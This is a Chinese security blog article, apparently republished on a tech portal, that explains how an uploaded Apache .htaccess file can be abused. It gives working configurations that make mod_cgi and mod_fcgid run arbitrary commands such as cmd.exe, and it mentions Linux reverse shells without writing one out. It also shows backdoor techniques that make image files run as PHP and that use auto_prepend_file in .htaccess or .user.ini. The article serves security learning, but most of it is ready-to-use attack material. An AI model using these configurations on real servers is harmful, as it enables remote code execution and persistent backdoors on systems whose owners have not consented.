您当前的位置:首页 > 电脑百科 > 安全防护 > 服务器/网站

Apache中.htaccess文件利用的总结与新思路拓展

时间:2020-07-31 13:02:29  来源:  作者:

Apache调用解析器的三种方式

在普遍使用的LAMP架构中,Apache与php之间的交互,有三种常见的方式。

第一种是最通用最常见的Module方式,即在httpd.conf中使用LoadModule的方式,将php的dll或者so文件加载到apache当中。

还有两种是CGI方式和FastCGI方式。其实后者用的越来越广泛了。一般PHP-FPM也是与FastCGI进行配合使用的。

可以参考CGI、FastCGI和PHP-FPM关系图解和Apache下PHP的几种工作方式来了解更多。

CGI启动方式的RCE利用姿势

当我们了解原理后,Apache是需要调用第三方CGI程序,但是一个程序是不是CGI程序这个事很难界定,我们能否通过调用特定的CGI程序(普通程序)来执行任意系统命令呢。答案是可以的。

利用条件

1.保证htaccess会被解析,即当前目录中配置了`AllowOverride all或AllowOverride Options FileInfo。AllowOverride参数具体作用可参考Apache之AllowOverride参数详解。(Require all granted也是需要的)

2.cgimodule被加载。即apache配置文件中有LoadModule cgimodule modules/mod_cgi.so这么一句且没有被注释。

3.有目录的上传、写入权限。

利用姿势

上传.htaccess 文件, 内容如下:

Options ExecCGI

AddHandler cgi-script .xx

Options ExecCGI表示允许CGI执行,如果AllowOverride只有FileInfo权限且本身就开启了ExecCGI的话,就可以不需要这句话了。

第二句告诉Apache将xx后缀名的文件,当做CGI程序进行解析。

接下来,以windows平台为例,上传poc.xx文件,内容如下:

#!C:/Windows/System32/cmd.exe /c start calc.exe

第一行用来表示CGI程序的路径。可以随便开你的脑洞。

因为CGI程序处理完成后,会被Apache关闭,所以我们这里要用启动新进程的方式来启动。

结果

这时访问poc.xx。计算器就出来啦~~

拿火绒剑来看下~

Apache中.htaccess文件利用的总结与新思路拓展

 

一目了然,读取了两个文件后,httpd.exe的mod_cgi.so模块执行了我们的命令。

linux环境下,也是随你玩,是直接调用/bin/bash还是调用/usr/bin/Python来反弹Shell。都是可以的。这其实也就是正常使用方式,因为Python也会被用作为CGI解析程序。

FastCGI启动方式的RCE利用姿势

我们再来看看FastCGI模式的,这个依赖的是mod_fcgid.so,默认安装包里甚至没有这个so文件,不过在PHPStudy的默认配置中,就已经是加载了的,并且AllowOverride也是All权限,手动斜眼。

其实还有modproxyfcgi,更为常见,也是默认开启的,还不清楚能否利用,表哥表姐们可以尝试一下。

利用条件

1.AllowOverride all或AllowOverride Options FileInfo。

2.modfcgid.so被加载。即apache配置文件中有LoadModule fcgidmodule modules/mod_fcgid.so

3. 有目录的上传、写入权限。

利用姿势

上传.htaccess 文件, 内容如下:

Options +ExecCGI

AddHandler fcgid-script .abc

FcgidWrApper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc

老样子,如果默认就开启了ExecCGI,则第一句可以省略。

第二句表示,abc后缀名的文件需要被fcgi来解析。AddHandler还可以换成AddType。

再上传1.abc。内容无所谓。

结果

访问1.abc,计算器就出来了~再拿火绒剑看下。

Apache中.htaccess文件利用的总结与新思路拓展

 

PS:若拥有上传权限,以上两种利用方式,在PHPstudy默认配置当中,都是可以直接使用的。

使用相对路径

其实一些小伙伴也已经发现了,上面的问题再配合有上传漏洞,我甚至可以穿个马上去。但是无论是CGI还是FastCGI似乎都是绝对路径,相对路径可不可以呢?

经过了一些尝试,发现相对路径也是可以的,起始点似乎和session.save_path变量的值是一致的。如图,比如phpstudy当中,起始点就是在Extensionstmptmp中。

Apache中.htaccess文件利用的总结与新思路拓展

 

那么,比如说我想要html后缀使用php来解析。就可以这样写。

AddHandler fcgid-script .html

FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html

再来,我想调用网站根目录的calc.exe。可以这样。

AddHandler fcgid-script .xx

FcgidWrapper "../../../WWW/localhost/calc.exe" .xx

不过计算器无法正常弹出。23333 我猜应该是因为calc毕竟不是个标准CGI程序导致的吧。而且也没必要绕这么大个圈子,就没继续测试了。

其他常规利用姿势

将特定文件作为php解析,用作后门。

Module模式下写法如下:

AddType application/x-httpd-php .jpg

<FilesMatch "test.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

甚至可以将 .htaccess本身作为php来解析,里面编写一句话。这块网络上相关资料很多。

PHP环境下使用 autoprependfile 或 autoappendfile 创建后门

通过配置autoappendfile或autoprependfile可以向所有php文件中的开头或尾部插入指定的文件的内容。

在. htaccess中的写入如下:

php_value auto_prepend_file "/home/fdipzone/header.php"

php_value auto_append_file "/home/fdipzone/footer.php"

对于CGI/FastCGI模式 PHP 5.3.0 以上版本,还可以使用 在目录下创建.user.ini文件 。来引入该参数。写法如下:

auto_prepend_file = 123.gif

我是安仔,一名刚入职网络安全圈的网安萌新,欢迎关注我,跟我一起成长; 欢迎大家私信回复【入群】,加入安界网大咖交流群,跟我一起交流讨论。



Tags:.htaccess   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
Apache调用解析器的三种方式在普遍使用的LAMP架构中,Apache与PHP之间的交互,有三种常见的方式。第一种是最通用最常见的Module方式,即在httpd.conf中使用LoadModule的方式,将php...【详细内容】
2020-07-31  Tags: .htaccess  点击:(130)  评论:(0)  加入收藏
在很多自定义 Web 服务器的工具中,.htaccess配置文件是一个非常实用的工具。你可以快速重置文档类型、解析引擎、URL 重定向以具体用法。在本文中,我想为网站管理员和 Web 开...【详细内容】
2019-10-11  Tags: .htaccess  点击:(103)  评论:(0)  加入收藏
▌简易百科推荐
在最近的一波攻击中,黑客利用多个插件中未修补的漏洞攻击了 160 万个 WordPress 网站。 易受攻击的插件对 WordPress 网站产生了的巨大攻击数据。 Wordfence 最近发现 WordPr...【详细内容】
2021-12-16  蚁安    Tags:WordPress   点击:(8)  评论:(0)  加入收藏
事件起因从安全分析系统里面发现一条带有病毒的下载,然后针对这条记录展开了一系列的分析分析过程1.登录到被感染服务器,查看系统状况,hadoop 这个用户在 2020/6/18 20:32 从这...【详细内容】
2021-11-23  Z2990Lig    Tags:SSH   点击:(32)  评论:(0)  加入收藏
1、除了服务器需要用的一些正规软件,其它都不要安装。2、在用户中把administrator改名,这样做的目的是即使对方暴破了我们的密码用户名也不容易猜住,相当于又加了一道关卡。...【详细内容】
2021-11-01  IT小哥吧    Tags:服务器   点击:(37)  评论:(0)  加入收藏
账户安全(1)更名administrator本地用户并禁用guest账户步骤:点击“开始”,找到“管理工具”,点击里面的“计算机管理”,找到“本地用户和组” (2)设定账户锁定策略尝试5次失败...【详细内容】
2021-10-12  Kali与编程  今日头条  Tags:Windows主机   点击:(62)  评论:(0)  加入收藏
本文主要介绍以Microsoft的Windows Server 2019 ,版本:Datacenter(Domain Controller)安全加固保护.企业随着规模不断扩大,业务增多,信息安全建设是企业里一条只有重点没有终点...【详细内容】
2021-09-17  Vireshark    Tags:服务器安全   点击:(64)  评论:(0)  加入收藏
目录常见共享命令IPC$IPC$的利用条件1:开启了139、445端口2:目标主机开启了IPC$共享3:IPC连接报错IPC空连接空连接可以做什么?(毫无作用)IPC$非空连接IPC$非空连接可以做什么?di...【详细内容】
2021-09-16  网络说安全    Tags:系统安全   点击:(86)  评论:(0)  加入收藏
昨天一个老哥找到我,说他的服务器这几天一直被CC攻击,问我这边有没有什么解决的方法? 近年来,网络攻击事件越来越频繁,最常见的就是CC攻击和DDOS攻击,主要的区别就是针对的对象不...【详细内容】
2021-09-10  小蚁GDRAGON    Tags:cc攻击   点击:(58)  评论:(0)  加入收藏
网站页面上的登录操作,通常都是输入帐号密码,传输至网站后台验证。在网站页面、数据传输中,通过技术手段,都可以得到用户输入的信息,并可以修改,从而发起网络攻击。典型的如:使用自...【详细内容】
2021-08-30  修丹道的程序猿    Tags:登录方式   点击:(62)  评论:(0)  加入收藏
网络安全研究人员披露了一类影响主要 DNS 即服务 (DNSaaS) 提供商的新漏洞,这些漏洞可能允许攻击者从企业网络中窃取敏感信息。基础设施安全公司 Wiz 的研究人员 Shir Tamar...【详细内容】
2021-08-12  零日时代    Tags:漏洞   点击:(66)  评论:(0)  加入收藏
001暴力破解1. 指定用户名爆破密码传统型爆破思路,用户名可以通过猜测或者信息收集获得。猜测:admin、网站域名等信息收集:新闻发布人、whoami等2. 指定密码爆破用户名如果是后...【详细内容】
2021-07-23  KaliMa  今日头条  Tags:登陆框   点击:(85)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条